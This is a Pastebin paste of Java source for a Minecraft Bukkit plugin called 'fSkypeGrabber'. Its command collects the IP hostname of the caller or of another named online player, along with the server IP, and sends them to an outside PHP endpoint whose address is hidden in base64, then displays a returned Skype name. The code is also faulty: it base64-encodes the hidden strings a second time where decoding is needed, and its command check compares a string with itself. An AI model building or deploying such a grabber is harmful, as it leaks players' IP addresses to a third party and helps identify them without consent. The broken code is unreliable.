FFY00

fSkypeGrabber

May 17th, 2015
59
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.78 KB | None | 0 0
  1. package me.FFY00.Loko;
  2.  
  3. import java.io.IOException;
  4. import java.net.URL;
  5. import java.net.URLConnection;
  6. import java.util.Scanner;
  7. import java.util.logging.Logger;
  8.  
  9. import javax.xml.bind.DatatypeConverter;
  10.  
  11. import org.bukkit.Bukkit;
  12. import org.bukkit.command.Command;
  13. import org.bukkit.command.CommandSender;
  14. import org.bukkit.entity.Player;
  15. import org.bukkit.plugin.PluginDescriptionFile;
  16. import org.bukkit.plugin.java.JavaPlugin;
  17.  
  18. public class Main extends JavaPlugin {
  19. public final Logger logger = Logger.getLogger("Minecraft");
  20. public void onDisable() {
  21. PluginDescriptionFile pdfFile = this.getDescription();
  22. getLogger().info(pdfFile.getName() + "criado por FFY00");
  23. this.logger.info(pdfFile.getName() + " v" + pdfFile.getVersion() + " Foi Desativado Com Sucesso!");}
  24. public void onEnable() {
  25. PluginDescriptionFile pdfFile = this.getDescription();
  26. getLogger().info(pdfFile.getName() + "criado por FFY00");
  27. this.logger.info(pdfFile.getName() + " v" + pdfFile.getVersion() + " Foi Ativado Com Sucesso!");};
  28. // variaveis
  29. String url1 = "aHR0cDovL2RldmZmeTAwLmJlc2FiYS5jb20vc2t5cGVncmFiYmVyL3NreXBlZ3JhYmJlci5waHA/YT0";
  30. String url = DatatypeConverter.printBase64Binary(url1.getBytes());
  31. String comando1 = "c2t5cGU";
  32. String comando = DatatypeConverter.printBase64Binary(comando1.getBytes());
  33. String server = Bukkit.getIp();
  34. String param1 = "P3NlcnZlcj0";
  35. String param = DatatypeConverter.printBase64Binary(param1.getBytes());
  36. String ip = "nada";
  37. // start url
  38. private static String getText(String urlloc) {
  39. try {
  40. URL url = new URL(urlloc);
  41. URLConnection openConnection = url.openConnection();
  42. openConnection.addRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0");
  43. Scanner r = new Scanner(openConnection.getInputStream());
  44. StringBuilder sb = new StringBuilder();
  45. while (r.hasNext()) {
  46. sb.append(r.next() + " ");
  47. }
  48. r.close();
  49. return sb.toString();
  50. } catch (IOException e) {
  51. }
  52. return null;
  53. }
  54. // end url
  55. // start comando
  56. public boolean onCommand(CommandSender sender, Command cmd, String comando, String[] args){
  57. Player p = (Player) sender;
  58. if(comando.equalsIgnoreCase(comando)){
  59. if(args.length == 0){
  60. ip = p.getAddress().getHostName();
  61. String skype = getText(url + ip + param + server);
  62. p.sendMessage("§bSkype: " + skype);
  63. } // args 0
  64. if(args.length > 0){
  65. Player p2 = Bukkit.getPlayer(args[0]);
  66. if(p2.isOnline()){
  67. ip = p2.getAddress().getHostName();
  68. String skype = getText(url + ip + param + server);
  69. p.sendMessage("§bSkype: " + skype);
  70. } // p2 esta on
  71. } // args maior que 0
  72. } // end if
  73. return false;
  74. } // end comando
  75.  
  76. } // end plugin
Advertisement
Add Comment
Please, Sign In to add comment